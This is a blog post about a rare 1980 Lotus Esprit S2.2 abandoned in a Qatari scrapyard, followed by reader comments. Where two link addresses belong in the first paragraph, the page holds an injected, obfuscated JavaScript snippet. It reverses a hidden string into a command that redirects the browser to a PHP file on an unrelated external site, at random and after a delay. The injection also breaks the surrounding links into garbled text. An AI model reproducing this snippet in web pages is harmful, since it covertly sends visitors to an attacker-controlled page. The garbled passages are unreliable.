Guest Author – Ian Cox
If you are a Thirtysomething like me, you would have remembered James Bond driving a brace of Lotus Esprits into the sea or sliding around alpine ski slopes. $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/201111039/lotus-esprit-lotus-evora-metamorphosis/” target=”_blank”>More recently, you may even have seen the Chrome Yellow S1 transforming into Hethel’s latest creation in our $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/articles/vision/” target=”_blank”>video gallery.
So, imagine our dismay at seeing this particular Italdesign creation languishing amongst rusting pieces of junk in a Qatari scrapyard. But this particular Esprit is a little special, purported to be an S2.2, one of three models offered by Lotus in 1980 and one of only 88 made. It was the first Esprit to be built with a galvanised chassis so hopefully it may have survived the hot and humid climate enough to be brought back to its former glory….if anyone is brave enough to tackle the paperwork of claiming ownership that is.
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How it came to be resting there in the first place nobody knows, although we can all speculate that it’s just another car owned by an expat who ran out of luck. Did the owner even realise the rarity of this particular model? Think about it, Ferrari built 1315 F40’s during it’s production run, do we see those at the bottom of a stack of Ford Cortina’s? OK, there is a huge difference in value, but to a Lotus enthusiast, surely it would pain them to see this sight. Fortunately, I’m not a rich man or over the years I would have tried to rescue many a rotting classic I’d stumbled across at my local Scrappy.
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Let’s hope someone does save this particular specimen, it’s not like there are many others in the area that people will raid it for spares. In the meantime, I’m going to buy a tent, pitch it up outside the local ‘vehicle recycle station’ and wait for somebody to abandon one of the 300 Veyron’s. It’s got to be just as likely….hasn’t it?
Thanks t0 Yahya Al Khalifa for the tip off >>>
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Yahya Al Khalifa
I was dying to wash up this piece of art and tell it don’t worry it will have a nice home soon, but the guy who worked there didnt have a clue what um on about, its true I cant locate its owner coz it doesnt have plates and even if it did the plates have been changed from the period it was in. I am doing my best to find the owner even if it means restoring it without registration!!!
Your Welcome C&P, hopefully more to come….
Moe
If I still lived in Qatar, I’d probably be doing everything I could to get my hands on it.
Anoop
hi i like the aerodynamic shape , its brilliant design isnt it?
Dejan
I would put up with the worst this ‘Prince of Darkness’ can throw at me just to be able to look at it gleaming in the morning.
Phil McGovern
Time to track it down then!
elwehbi
Love that steering wheel!